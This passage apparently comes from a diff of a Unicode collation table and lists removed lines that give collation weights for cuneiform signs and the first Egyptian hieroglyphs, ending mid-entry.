-12353 ; [.4D08.0020.0002] # CUNEIFORM SIGN USH TIMES KU -12354 ; [.4D09.0020.0002] # CUNEIFORM SIGN USH TIMES KUR -12355 ; [.4D0A.0020.0002] # CUNEIFORM SIGN USH TIMES TAK4 -12356 ; [.4D0B.0020.0002] # CUNEIFORM SIGN USHX -12357 ; [.4D0C.0020.0002] # CUNEIFORM SIGN USH2 -12358 ; [.4D0D.0020.0002] # CUNEIFORM SIGN USHUMX -12359 ; [.4D0E.0020.0002] # CUNEIFORM SIGN UTUKI -1235A ; [.4D0F.0020.0002] # CUNEIFORM SIGN UZ3 -1235B ; [.4D10.0020.0002] # CUNEIFORM SIGN UZ3 TIMES KASKAL -1235C ; [.4D11.0020.0002] # CUNEIFORM SIGN UZU -1235D ; [.4D12.0020.0002] # CUNEIFORM SIGN ZA -1235E ; [.4D13.0020.0002] # CUNEIFORM SIGN ZA TENU -1235F ; [.4D14.0020.0002] # CUNEIFORM SIGN ZA SQUARED TIMES KUR -12360 ; [.4D15.0020.0002] # CUNEIFORM SIGN ZAG -12361 ; [.4D16.0020.0002] # CUNEIFORM SIGN ZAMX -12362 ; [.4D17.0020.0002] # CUNEIFORM SIGN ZE2 -12363 ; [.4D18.0020.0002] # CUNEIFORM SIGN ZI -12364 ; [.4D19.0020.0002] # CUNEIFORM SIGN ZI OVER ZI -12365 ; [.4D1A.0020.0002] # CUNEIFORM SIGN ZI3 -12366 ; [.4D1B.0020.0002] # CUNEIFORM SIGN ZIB -12367 ; [.4D1C.0020.0002] # CUNEIFORM SIGN ZIB KABA TENU -12368 ; [.4D1D.0020.0002] # CUNEIFORM SIGN ZIG -12369 ; [.4D1E.0020.0002] # CUNEIFORM SIGN ZIZ2 -1236A ; [.4D1F.0020.0002] # CUNEIFORM SIGN ZU -1236B ; [.4D20.0020.0002] # CUNEIFORM SIGN ZU5 -1236C ; [.4D21.0020.0002] # CUNEIFORM SIGN ZU5 TIMES A -1236D ; [.4D22.0020.0002] # CUNEIFORM SIGN ZUBUR -1236E ; [.4D23.0020.0002] # CUNEIFORM SIGN ZUM -1236F ; [.4D24.0020.0002] # CUNEIFORM SIGN KAP ELAMITE -12370 ; [.4D25.0020.0002] # CUNEIFORM SIGN AB TIMES NUN -12371 ; [.4D26.0020.0002] # CUNEIFORM SIGN AB2 TIMES A -12372 ; [.4D27.0020.0002] # CUNEIFORM SIGN AMAR TIMES KUG -12373 ; [.4D28.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS MASH -12374 ; [.4D29.0020.0002] # CUNEIFORM SIGN DAG3 -12375 ; [.4D2A.0020.0002] # CUNEIFORM SIGN DISH PLUS SHU -12376 ; [.4D2B.0020.0002] # CUNEIFORM SIGN DUB TIMES SHE -12377 ; [.4D2C.0020.0002] # CUNEIFORM SIGN EZEN TIMES GUD -12378 ; [.4D2D.0020.0002] # CUNEIFORM SIGN EZEN TIMES SHE -12379 ; [.4D2E.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN PLUS KAK PLUS A -1237A ; [.4D2F.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 -1237B ; [.4D30.0020.0002] # CUNEIFORM SIGN GE22 -1237C ; [.4D31.0020.0002] # CUNEIFORM SIGN GIG -1237D ; [.4D32.0020.0002] # CUNEIFORM SIGN HUSH -1237E ; [.4D33.0020.0002] # CUNEIFORM SIGN KA TIMES ANSHE -1237F ; [.4D34.0020.0002] # CUNEIFORM SIGN KA TIMES ASH3 -12380 ; [.4D35.0020.0002] # CUNEIFORM SIGN KA TIMES GISH -12381 ; [.4D36.0020.0002] # CUNEIFORM SIGN KA TIMES GUD -12382 ; [.4D37.0020.0002] # CUNEIFORM SIGN KA TIMES HI TIMES ASH2 -12383 ; [.4D38.0020.0002] # CUNEIFORM SIGN KA TIMES LUM -12384 ; [.4D39.0020.0002] # CUNEIFORM SIGN KA TIMES PA -12385 ; [.4D3A.0020.0002] # CUNEIFORM SIGN KA TIMES SHUL -12386 ; [.4D3B.0020.0002] # CUNEIFORM SIGN KA TIMES TU -12387 ; [.4D3C.0020.0002] # CUNEIFORM SIGN KA TIMES UR2 -12388 ; [.4D3D.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GI -12389 ; [.4D3E.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG TIMES BAD -1238A ; [.4D3F.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 PLUS LAL -1238B ; [.4D40.0020.0002] # CUNEIFORM SIGN LU2 TIMES SHU -1238C ; [.4D41.0020.0002] # CUNEIFORM SIGN MESH -1238D ; [.4D42.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES ZA -1238E ; [.4D43.0020.0002] # CUNEIFORM SIGN NA4 -1238F ; [.4D44.0020.0002] # CUNEIFORM SIGN NIN -12390 ; [.4D45.0020.0002] # CUNEIFORM SIGN NIN9 -12391 ; [.4D46.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES BAL -12392 ; [.4D47.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GI -12393 ; [.4D48.0020.0002] # CUNEIFORM SIGN NU11 ROTATED NINETY DEGREES -12394 ; [.4D49.0020.0002] # CUNEIFORM SIGN PESH2 ASTERISK -12395 ; [.4D4A.0020.0002] # CUNEIFORM SIGN PIR2 -12396 ; [.4D4B.0020.0002] # CUNEIFORM SIGN SAG TIMES IGI GUNU -12397 ; [.4D4C.0020.0002] # CUNEIFORM SIGN TI2 -12398 ; [.4D4D.0020.0002] # CUNEIFORM SIGN UM TIMES ME -12399 ; [.4D4E.0020.0002] # CUNEIFORM SIGN U U -12480 ; [.4D4F.0020.0002] # CUNEIFORM SIGN AB TIMES NUN TENU -12481 ; [.4D50.0020.0002] # CUNEIFORM SIGN AB TIMES SHU2 -12482 ; [.4D51.0020.0002] # CUNEIFORM SIGN AD TIMES ESH2 -12483 ; [.4D52.0020.0002] # CUNEIFORM SIGN BAD TIMES DISH TENU -12484 ; [.4D53.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES AB2 -12485 ; [.4D54.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES NI -12486 ; [.4D55.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES ZA -12487 ; [.4D56.0020.0002] # CUNEIFORM SIGN BU OVER BU TIMES NA2 -12488 ; [.4D57.0020.0002] # CUNEIFORM SIGN DA TIMES TAK4 -12489 ; [.4D58.0020.0002] # CUNEIFORM SIGN DAG TIMES KUR -1248A ; [.4D59.0020.0002] # CUNEIFORM SIGN DIM TIMES IGI -1248B ; [.4D5A.0020.0002] # CUNEIFORM SIGN DIM TIMES U U U -1248C ; [.4D5B.0020.0002] # CUNEIFORM SIGN DIM2 TIMES UD -1248D ; [.4D5C.0020.0002] # CUNEIFORM SIGN DUG TIMES ANSHE -1248E ; [.4D5D.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH -1248F ; [.4D5E.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH AT LEFT -12490 ; [.4D5F.0020.0002] # CUNEIFORM SIGN DUG TIMES DIN -12491 ; [.4D60.0020.0002] # CUNEIFORM SIGN DUG TIMES DUN -12492 ; [.4D61.0020.0002] # CUNEIFORM SIGN DUG TIMES ERIN2 -12493 ; [.4D62.0020.0002] # CUNEIFORM SIGN DUG TIMES GA -12494 ; [.4D63.0020.0002] # CUNEIFORM SIGN DUG TIMES GI -12495 ; [.4D64.0020.0002] # CUNEIFORM SIGN DUG TIMES GIR2 GUNU -12496 ; [.4D65.0020.0002] # CUNEIFORM SIGN DUG TIMES GISH -12497 ; [.4D66.0020.0002] # CUNEIFORM SIGN DUG TIMES HA -12498 ; [.4D67.0020.0002] # CUNEIFORM SIGN DUG TIMES HI -12499 ; [.4D68.0020.0002] # CUNEIFORM SIGN DUG TIMES IGI GUNU -1249A ; [.4D69.0020.0002] # CUNEIFORM SIGN DUG TIMES KASKAL -1249B ; [.4D6A.0020.0002] # CUNEIFORM SIGN DUG TIMES KUR -1249C ; [.4D6B.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 -1249D ; [.4D6C.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 PLUS KASKAL -1249E ; [.4D6D.0020.0002] # CUNEIFORM SIGN DUG TIMES LAK-020 -1249F ; [.4D6E.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM -124A0 ; [.4D6F.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM TIMES KUR -124A1 ; [.4D70.0020.0002] # CUNEIFORM SIGN DUG TIMES LUH PLUS GISH -124A2 ; [.4D71.0020.0002] # CUNEIFORM SIGN DUG TIMES MASH -124A3 ; [.4D72.0020.0002] # CUNEIFORM SIGN DUG TIMES MES -124A4 ; [.4D73.0020.0002] # CUNEIFORM SIGN DUG TIMES MI -124A5 ; [.4D74.0020.0002] # CUNEIFORM SIGN DUG TIMES NI -124A6 ; [.4D75.0020.0002] # CUNEIFORM SIGN DUG TIMES PI -124A7 ; [.4D76.0020.0002] # CUNEIFORM SIGN DUG TIMES SHE -124A8 ; [.4D77.0020.0002] # CUNEIFORM SIGN DUG TIMES SI GUNU -124A9 ; [.4D78.0020.0002] # CUNEIFORM SIGN E2 TIMES KUR -124AA ; [.4D79.0020.0002] # CUNEIFORM SIGN E2 TIMES PAP -124AB ; [.4D7A.0020.0002] # CUNEIFORM SIGN ERIN2 X -124AC ; [.4D7B.0020.0002] # CUNEIFORM SIGN ESH2 CROSSING ESH2 -124AD ; [.4D7C.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ASH -124AE ; [.4D7D.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES HI -124AF ; [.4D7E.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES IGI GUNU -124B0 ; [.4D7F.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LA -124B1 ; [.4D80.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LAL -124B2 ; [.4D81.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ME -124B3 ; [.4D82.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES MES -124B4 ; [.4D83.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES SU -124B5 ; [.4D84.0020.0002] # CUNEIFORM SIGN EZEN TIMES SU -124B6 ; [.4D85.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAHAR2 -124B7 ; [.4D86.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM GUNU -124B8 ; [.4D87.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES IGI GUNU -124B9 ; [.4D88.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES KASKAL -124BA ; [.4D89.0020.0002] # CUNEIFORM SIGN GA2 TIMES EREN -124BB ; [.4D8A.0020.0002] # CUNEIFORM SIGN GA2 TIMES GA -124BC ; [.4D8B.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS DI -124BD ; [.4D8C.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS NE -124BE ; [.4D8D.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS A -124BF ; [.4D8E.0020.0002] # CUNEIFORM SIGN GA2 TIMES KUSHU2 PLUS KASKAL -124C0 ; [.4D8F.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM -124C1 ; [.4D90.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM TIMES KUR -124C2 ; [.4D91.0020.0002] # CUNEIFORM SIGN GA2 TIMES LUH -124C3 ; [.4D92.0020.0002] # CUNEIFORM SIGN GA2 TIMES MUSH -124C4 ; [.4D93.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE -124C5 ; [.4D94.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS E2 -124C6 ; [.4D95.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS GI -124C7 ; [.4D96.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHIM -124C8 ; [.4D97.0020.0002] # CUNEIFORM SIGN GA2 TIMES ZIZ2 -124C9 ; [.4D98.0020.0002] # CUNEIFORM SIGN GABA ROTATED NINETY DEGREES -124CA ; [.4D99.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES U -124CB ; [.4D9A.0020.0002] # CUNEIFORM SIGN GISH TIMES GISH CROSSING GISH -124CC ; [.4D9B.0020.0002] # CUNEIFORM SIGN GU2 TIMES IGI GUNU -124CD ; [.4D9C.0020.0002] # CUNEIFORM SIGN GUD PLUS GISH TIMES TAK4 -124CE ; [.4D9D.0020.0002] # CUNEIFORM SIGN HA TENU GUNU -124CF ; [.4D9E.0020.0002] # CUNEIFORM SIGN HI TIMES ASH OVER HI TIMES ASH -124D0 ; [.4D9F.0020.0002] # CUNEIFORM SIGN KA TIMES BU -124D1 ; [.4DA0.0020.0002] # CUNEIFORM SIGN KA TIMES KA -124D2 ; [.4DA1.0020.0002] # CUNEIFORM SIGN KA TIMES U U U -124D3 ; [.4DA2.0020.0002] # CUNEIFORM SIGN KA TIMES UR -124D4 ; [.4DA3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ZU OVER ZU -124D5 ; [.4DA4.0020.0002] # CUNEIFORM SIGN LAK-003 -124D6 ; [.4DA5.0020.0002] # CUNEIFORM SIGN LAK-021 -124D7 ; [.4DA6.0020.0002] # CUNEIFORM SIGN LAK-025 -124D8 ; [.4DA7.0020.0002] # CUNEIFORM SIGN LAK-030 -124D9 ; [.4DA8.0020.0002] # CUNEIFORM SIGN LAK-050 -124DA ; [.4DA9.0020.0002] # CUNEIFORM SIGN LAK-051 -124DB ; [.4DAA.0020.0002] # CUNEIFORM SIGN LAK-062 -124DC ; [.4DAB.0020.0002] # CUNEIFORM SIGN LAK-079 OVER LAK-079 GUNU -124DD ; [.4DAC.0020.0002] # CUNEIFORM SIGN LAK-080 -124DE ; [.4DAD.0020.0002] # CUNEIFORM SIGN LAK-081 OVER LAK-081 -124DF ; [.4DAE.0020.0002] # CUNEIFORM SIGN LAK-092 -124E0 ; [.4DAF.0020.0002] # CUNEIFORM SIGN LAK-130 -124E1 ; [.4DB0.0020.0002] # CUNEIFORM SIGN LAK-142 -124E2 ; [.4DB1.0020.0002] # CUNEIFORM SIGN LAK-210 -124E3 ; [.4DB2.0020.0002] # CUNEIFORM SIGN LAK-219 -124E4 ; [.4DB3.0020.0002] # CUNEIFORM SIGN LAK-220 -124E5 ; [.4DB4.0020.0002] # CUNEIFORM SIGN LAK-225 -124E6 ; [.4DB5.0020.0002] # CUNEIFORM SIGN LAK-228 -124E7 ; [.4DB6.0020.0002] # CUNEIFORM SIGN LAK-238 -124E8 ; [.4DB7.0020.0002] # CUNEIFORM SIGN LAK-265 -124E9 ; [.4DB8.0020.0002] # CUNEIFORM SIGN LAK-266 -124EA ; [.4DB9.0020.0002] # CUNEIFORM SIGN LAK-343 -124EB ; [.4DBA.0020.0002] # CUNEIFORM SIGN LAK-347 -124EC ; [.4DBB.0020.0002] # CUNEIFORM SIGN LAK-348 -124ED ; [.4DBC.0020.0002] # CUNEIFORM SIGN LAK-383 -124EE ; [.4DBD.0020.0002] # CUNEIFORM SIGN LAK-384 -124EF ; [.4DBE.0020.0002] # CUNEIFORM SIGN LAK-390 -124F0 ; [.4DBF.0020.0002] # CUNEIFORM SIGN LAK-441 -124F1 ; [.4DC0.0020.0002] # CUNEIFORM SIGN LAK-449 -124F2 ; [.4DC1.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES GU -124F3 ; [.4DC2.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES IGI -124F4 ; [.4DC3.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS LU3 -124F5 ; [.4DC4.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS PAP PLUS LU3 -124F6 ; [.4DC5.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES U2 PLUS BA -124F7 ; [.4DC6.0020.0002] # CUNEIFORM SIGN LAK-450 -124F8 ; [.4DC7.0020.0002] # CUNEIFORM SIGN LAK-457 -124F9 ; [.4DC8.0020.0002] # CUNEIFORM SIGN LAK-470 -124FA ; [.4DC9.0020.0002] # CUNEIFORM SIGN LAK-483 -124FB ; [.4DCA.0020.0002] # CUNEIFORM SIGN LAK-490 -124FC ; [.4DCB.0020.0002] # CUNEIFORM SIGN LAK-492 -124FD ; [.4DCC.0020.0002] # CUNEIFORM SIGN LAK-493 -124FE ; [.4DCD.0020.0002] # CUNEIFORM SIGN LAK-495 -124FF ; [.4DCE.0020.0002] # CUNEIFORM SIGN LAK-550 -12500 ; [.4DCF.0020.0002] # CUNEIFORM SIGN LAK-608 -12501 ; [.4DD0.0020.0002] # CUNEIFORM SIGN LAK-617 -12502 ; [.4DD1.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES ASH -12503 ; [.4DD2.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES BAD -12504 ; [.4DD3.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES DUN3 GUNU GUNU -12505 ; [.4DD4.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES KU3 -12506 ; [.4DD5.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES LA -12507 ; [.4DD6.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TAR -12508 ; [.4DD7.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TE -12509 ; [.4DD8.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES U2 -1250A ; [.4DD9.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES UD -1250B ; [.4DDA.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES URUDA -1250C ; [.4DDB.0020.0002] # CUNEIFORM SIGN LAK-636 -1250D ; [.4DDC.0020.0002] # CUNEIFORM SIGN LAK-648 -1250E ; [.4DDD.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES DUB -1250F ; [.4DDE.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES GA -12510 ; [.4DDF.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI -12511 ; [.4DE0.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI GUNU -12512 ; [.4DE1.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES NI -12513 ; [.4DE2.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES PAP PLUS PAP PLUS LU3 -12514 ; [.4DE3.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES SHESH PLUS KI -12515 ; [.4DE4.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES UD -12516 ; [.4DE5.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES URUDA -12517 ; [.4DE6.0020.0002] # CUNEIFORM SIGN LAK-724 -12518 ; [.4DE7.0020.0002] # CUNEIFORM SIGN LAK-749 -12519 ; [.4DE8.0020.0002] # CUNEIFORM SIGN LU2 GUNU TIMES ASH -1251A ; [.4DE9.0020.0002] # CUNEIFORM SIGN LU2 TIMES DISH -1251B ; [.4DEA.0020.0002] # CUNEIFORM SIGN LU2 TIMES HAL -1251C ; [.4DEB.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP -1251D ; [.4DEC.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP PLUS PAP PLUS LU3 -1251E ; [.4DED.0020.0002] # CUNEIFORM SIGN LU2 TIMES TAK4 -1251F ; [.4DEE.0020.0002] # CUNEIFORM SIGN MI PLUS ZA7 -12520 ; [.4DEF.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES GA -12521 ; [.4DF0.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES KAK -12522 ; [.4DF1.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES DIM GUNU -12523 ; [.4DF2.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GISH -12524 ; [.4DF3.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUL -12525 ; [.4DF4.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES HI -12526 ; [.4DF5.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES KESH2 -12527 ; [.4DF6.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES LAK-050 -12528 ; [.4DF7.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES MASH -12529 ; [.4DF8.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES PAP PLUS PAP -1252A ; [.4DF9.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U -1252B ; [.4DFA.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U PLUS U -1252C ; [.4DFB.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES URUDA -1252D ; [.4DFC.0020.0002] # CUNEIFORM SIGN SAG GUNU TIMES HA -1252E ; [.4DFD.0020.0002] # CUNEIFORM SIGN SAG TIMES EN -1252F ; [.4DFE.0020.0002] # CUNEIFORM SIGN SAG TIMES SHE AT LEFT -12530 ; [.4DFF.0020.0002] # CUNEIFORM SIGN SAG TIMES TAK4 -12531 ; [.4E00.0020.0002] # CUNEIFORM SIGN SHA6 TENU -12532 ; [.4E01.0020.0002] # CUNEIFORM SIGN SHE OVER SHE -12533 ; [.4E02.0020.0002] # CUNEIFORM SIGN SHE PLUS HUB2 -12534 ; [.4E03.0020.0002] # CUNEIFORM SIGN SHE PLUS NAM2 -12535 ; [.4E04.0020.0002] # CUNEIFORM SIGN SHE PLUS SAR -12536 ; [.4E05.0020.0002] # CUNEIFORM SIGN SHU2 PLUS DUG TIMES NI -12537 ; [.4E06.0020.0002] # CUNEIFORM SIGN SHU2 PLUS E2 TIMES AN -12538 ; [.4E07.0020.0002] # CUNEIFORM SIGN SI TIMES TAK4 -12539 ; [.4E08.0020.0002] # CUNEIFORM SIGN TAK4 PLUS SAG -1253A ; [.4E09.0020.0002] # CUNEIFORM SIGN TUM TIMES GAN2 TENU -1253B ; [.4E0A.0020.0002] # CUNEIFORM SIGN TUM TIMES THREE DISH -1253C ; [.4E0B.0020.0002] # CUNEIFORM SIGN UR2 INVERTED -1253D ; [.4E0C.0020.0002] # CUNEIFORM SIGN UR2 TIMES UD -1253E ; [.4E0D.0020.0002] # CUNEIFORM SIGN URU TIMES DARA3 -1253F ; [.4E0E.0020.0002] # CUNEIFORM SIGN URU TIMES LAK-668 -12540 ; [.4E0F.0020.0002] # CUNEIFORM SIGN URU TIMES LU3 -12541 ; [.4E10.0020.0002] # CUNEIFORM SIGN ZA7 -12542 ; [.4E11.0020.0002] # CUNEIFORM SIGN ZU OVER ZU PLUS SAR -12543 ; [.4E12.0020.0002] # CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU -13000 ; [.4E13.0020.0002] # EGYPTIAN HIEROGLYPH A001 -13001 ; [.4E14.0020.0002] # EGYPTIAN HIEROGLYPH A002 -13002 ; [.4E15.0020.0002] # EGYPTIAN HIEROGLYPH A003 -13003 ; [.4E16.0020.0002] # EGYPTIAN HIEROGLYPH A004 -13004 ; [.4E17.0020.0002] # EGYPTIAN HIEROGLYPH A005 -13005 ; [.4E18.0020.0002] # EGYPTIAN HIEROGLYPH A005A -13006 ; [.4E19.0020.0002] # EGYPTIAN HIEROGLYPH A006 -13007 ; [.4E1A.0020.0002] # EGYPTIAN HIEROGLYPH A006A -13008 ; [.4E1B.0020.0002] # EGYPTIAN HIEROGLYPH A006B -13009 ; [.4E1C.0020.0002] # EGYPTIAN HIEROGLYPH A007 -1300A ; [.4E1D.0020.0002] # EGYPTIAN HIEROGLYPH A008 -1300B ; [.4E1E.0020.0002] # EGYPTIAN HIEROGLYPH A009 -1300C ; [.4E1F.0020.0002] # EGYPTIAN HIEROGLYPH A010 -1300D ; [.4E20.0020.0002] # EGYPTIAN HIEROGLYPH A011 -1300E ; [.4E21.0020.0002] # EGYPTIAN HIEROGLYPH A012 -1300F ; [.4E22.0020.0002] # EGYPTIAN HIEROGLYPH A013 -13010 ; [.4E23.0020.0002] # EGYPTIAN HIEROGLYPH A014 -13011 ; [.4E24.0020.0002] # EGYPTIAN HIEROGLYPH A014A -13012 ; [.4E25.0020.0002] # EGYPTIAN HIEROGLYPH A015 -13013 ; [.4E26.0020.0002] # EGYPTIAN HIEROGLYPH A016 -13014 ; [.4E27.0020.0002] # EGYPTIAN HIEROGLYPH A017 -13015 ; [.4E28.0020.0002] # EGYPTIAN HIEROGLYPH A017A -13016 ; [.4E29.0020.0002] # EGYPTIAN HIEROGLYPH A018 -13017 ; [.4E2A.0020.0002] # EGYPTIAN HIEROGLYPH A019 -13018 ; [.4E2B.0020.0002] # EGYPTIAN HIEROGLYPH A020 -13019 ; [.4E2C.0020.0002] # EGYPTIAN HIEROGLYPH A021 -1301A ; [.4E2D.0020.0002] # EGYPTIAN HIEROGLYPH A022 -1301B ; [.4E2E.0020.0002] # EGYPTIAN HIEROGLYPH A023 -1301C ; [.4E2F.0020.0002] # EGYPTIAN HIEROGLYPH A024 -1301D ; [.4E30.0020.0002] # EGYPTIAN HIEROGLYPH A025 -1301E ; [.4E31.0020.0002] # EGYPTIAN HIEROGLYPH A026 -1301F ; [.4E32.0020.0002] # EGYPTIAN HIEROGLYPH A027 -13020 ; [.4E33.0020.0002] # EGYPTIAN HIEROGLYPH A028 -13021 ; [.4E34.0020.0002] # EGYPTIAN HIEROGLYPH A029 -13022 ; [.4E35.0020.0002] # EGYPTIAN HIEROGLYPH A030 -13023 ; [.4E36.0020.0002] # EGYPTIAN HIEROGLYPH A031 -13024 ; [.4E37.0020.0002] # EGYPTIAN HIEROGLYPH A032 -13025 ; [.4E38.0020.0002] # EGYPTIAN HIEROGLYPH A032A -13026 ; [.4E39.0020.0002] # EGYPTIAN HIEROGLYPH A033 -13027 ; [.4E3A.0020.0002] # EGYPTIAN HIEROGLYPH A034 -13028 ; [.4E3B.0020.0002] # EGYPTIAN HIEROGLYPH A035 -13029 ; [.4E3C.0020.0002] # EGYPTIAN HIEROGLYPH A036 -1302A ; [.4E3D.0020.0002] # EGYPTIAN HIEROGLYPH A037 -1302B ; [.4E3E.0020.0002] # EGYPTIAN HIEROGLYPH A038 -1302C ; [.4E3F.0020.0002] # EGYPTIAN HIEROGLYPH A039 -1302D ; [.4E40.0020.0002] # EGYPTIAN HIEROGLYPH A040 -1302E ; [.4E41.0020.0002] # EGYPTIAN HIEROGLYPH A040A -1302F ; [.4E42.0020.0002] # EGYPTIAN HIEROGLYPH A041 -13030 ; [.4E43.0020.0002] # EGYPTIAN HIEROGLYPH A042 -13031 ; [.4E44.0020.0002] # EGYPTIAN HIEROGLYPH A042A -13032 ; [.4E45.0020.0002] # EGYPTIAN HIEROGLYPH A043 -13033 ; [.4E46.0020.0002] # EGYPTIAN HIEROGLYPH A043A -13034 ; [.4E47.0020.0002] # EGYPTIAN HIEROGLYPH A044 -13035 ; [.4E48.0020.0002] # EGYPTIAN HIEROGLYPH A045 -13036 ; [.4E49.0020.0002] # EGYPTIAN HIEROGLYPH A045A -13037 ; [.4E4A.0020.0002] # EGYPTIAN HIEROGLYPH A046 -13038 ; [.4E4B.0020.0002] # EGYPTIAN HIEROGLYPH A047 -13039 ; [.4E4C.0020.0002] # EGYPTIAN HIEROGLYPH A048 -1303A ; [.4E4D.0020.0002] # EGYPTIAN HIEROGLYPH A049 -1303B ; [.4E4E.0020.0002] # EGYPTIAN HIEROGLYPH A050 -1303C ; [.4E4F.0020.0002] # EGYPTIAN HIEROGLYPH A051 -1303D ; [.4E50.0020.0002] # EGYPTIAN HIEROGLYPH A052 -1303E ; [.4E51.0020.0002] # EGYPTIAN HIEROGLYPH A053 -1303F ; [.4E52.0020.0002] # EGYPTIAN HIEROGLYPH A054 -13040 ; [.4E53.0020.0002] # EGYPTIAN HIEROGLYPH A055 -13041 ; [.4E54.0020.0002] # EGYPTIAN HIEROGLYPH A056 -13042 ; [.4E55.0020.0002] # EGYPTIAN HIEROGLYPH A057 -13043 ; [.4E56.0020.0002] # EGYPTIAN HIEROGLYPH A058 -13044 ; [.4E57.0020.0002] # EGYPTIAN HIEROGLYPH A059 -13045 ; [.4E58.0020.0002] # EGYPTIAN HIEROGLYPH A060 -13046 ; [.4E59.0020.0002] # EGYPTIAN HIEROGLYPH A061 -13047 ; [.4E5A.0020.0002] # EGYPTIAN HIEROGLYPH A062 -13048 ; [.4E5B.0020.0002] # EGYPTIAN HIEROGLYPH A063 -13049 ; [.4E5C.0020.0002] # EGYPTIAN HIEROGLYPH A064 -1304A ; [.4E5D.0020.0002] # EGYPTIAN HIEROGLYPH A065 -1304B ; [.4E5E.0020.0002] # EGYPTIAN HIEROGLYPH A066 -1304C ; [.4E5F.0020.0002] # EGYPTIAN HIEROGLYPH A067 -1304D ; [.4E60.0020.0002] # EGYPTIAN HIEROGLYPH A068 -1304E ; [.4E61.0020.0002] # EGYPTIAN HIEROGLYPH A069 -1304F ; [.4E62.0020.0002] # EGYPTIAN HIEROGLYPH A070 -13050 ; [.4E63.0020.0002] # EGYPTIAN HIEROGLYPH B001 -13051 ; [.4E64.0020.0002] # EGYPTIAN HIEROGLYPH B002 -13052 ; [.4E65.0020.0002] # EGYPTIAN HIEROGLYPH B003 -13053 ; [.4E66.0020.0002] # EGYPTIAN HIEROGLYPH B004 -13054 ; [.4E67.0020.0002] # EGYPTIAN HIEROGLYPH B005 -13055 ; [.4E68.0020.0002] # EGYPTIAN HIEROGLYPH B005A -13056 ; [.4E69.0020.0002] # EGYPTIAN HIEROGLYPH B006 -13057 ; [.4E6A.0020.0002] # EGYPTIAN HIEROGLYPH B007 -13058 ; [.4E6B.0020.0002] # EGYPTIAN HIEROGLYPH B008 -13059 ; [.4E6C.0020.0002] # EGYPTIAN HIEROGLYPH 